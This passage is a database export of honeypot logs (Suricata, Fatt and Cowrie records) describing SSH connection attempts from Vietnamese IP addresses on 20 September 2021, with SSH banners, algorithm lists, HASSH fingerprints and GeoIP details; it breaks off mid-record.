26335	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:28.491628+03	2021-09-20 14:15:13.134644+03	{"_id": "4QbnAnwBvYTbRNuEWx67", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1769968578275605, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35406, "dest_port": 22, "timestamp": "2021-09-20T11:11:28.491628Z", "@timestamp": "2021-09-20T11:11:28.491Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26336	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:28.212594+03	2021-09-20 14:15:13.136647+03	{"_id": "4wbnAnwBvYTbRNuEXB7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35406, "timestamp": "2021-09-20T11:11:28.212594", "@timestamp": "2021-09-20T11:11:28.212Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26337	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:32.148502+03	2021-09-20 14:15:13.137646+03	{"_id": "CQbnAnwBvYTbRNuEaR8v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "06ae08e0e110", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:32.148502Z", "@timestamp": "2021-09-20T11:11:32.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26338	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:11:32.427353+03	2021-09-20 14:15:13.138646+03	{"_id": "EwbnAnwBvYTbRNuEax9d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1580453146604055, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51566, "dest_port": 22, "timestamp": "2021-09-20T11:11:32.427353Z", "@timestamp": "2021-09-20T11:11:32.427Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26339	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:33.344044+03	2021-09-20 14:15:13.139645+03	{"_id": "FgbnAnwBvYTbRNuEbB9_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48802, "timestamp": "2021-09-20T11:11:33.344044", "@timestamp": "2021-09-20T11:11:33.344Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26340	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:11:33.616455+03	2021-09-20 14:15:13.140646+03	{"_id": "JgbnAnwBvYTbRNuEbx9G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1874138715520337, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48802, "dest_port": 22, "timestamp": "2021-09-20T11:11:33.616455Z", "@timestamp": "2021-09-20T11:11:33.616Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26341	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:33.674326+03	2021-09-20 14:15:13.141646+03	{"_id": "KAbnAnwBvYTbRNuEcB9n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 48802, "dest_port": 22, "timestamp": "2021-09-20T11:11:33.674326", "@timestamp": "2021-09-20T11:11:33.674Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26342	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:33.604692+03	2021-09-20 14:15:13.144646+03	{"_id": "MgbnAnwBvYTbRNuEcR8C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "39280b1bd689", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:33.604692Z", "@timestamp": "2021-09-20T11:11:33.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26343	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:34.52428+03	2021-09-20 14:15:13.145645+03	{"_id": "NQbnAnwBvYTbRNuEcR8C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "47b5e57a6bd5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:34.524280Z", "@timestamp": "2021-09-20T11:11:34.524Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26344	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:34.581494+03	2021-09-20 14:15:13.146646+03	{"_id": "RAbnAnwBvYTbRNuEdB_q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1934d2a8bb34", "@version": "1", "timestamp": "2021-09-20T11:11:34.581494Z", "@timestamp": "2021-09-20T11:11:34.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26345	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:35.158007+03	2021-09-20 14:15:13.147645+03	{"_id": "RQbnAnwBvYTbRNuEdB_q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "06ae08e0e110", "@version": "1", "duration": 3.01002836227417, "timestamp": "2021-09-20T11:11:35.158007Z", "@timestamp": "2021-09-20T11:11:35.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26361	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:30.231255+03	2021-09-20 14:15:13.169645+03	{"_id": "9gbnAnwBvYTbRNuEYR5d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fd7401412b12", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:30.231255Z", "@timestamp": "2021-09-20T11:11:30.231Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26346	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:11:25.491972+03	2021-09-20 14:15:13.149647+03	{"_id": "xAbnAnwBvYTbRNuEUB4B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1078841768169857, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56846, "dest_port": 22, "timestamp": "2021-09-20T11:11:25.491972Z", "@timestamp": "2021-09-20T11:11:25.491Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26347	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:11:25.492106+03	2021-09-20 14:15:13.150646+03	{"_id": "yAbnAnwBvYTbRNuEUR4h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 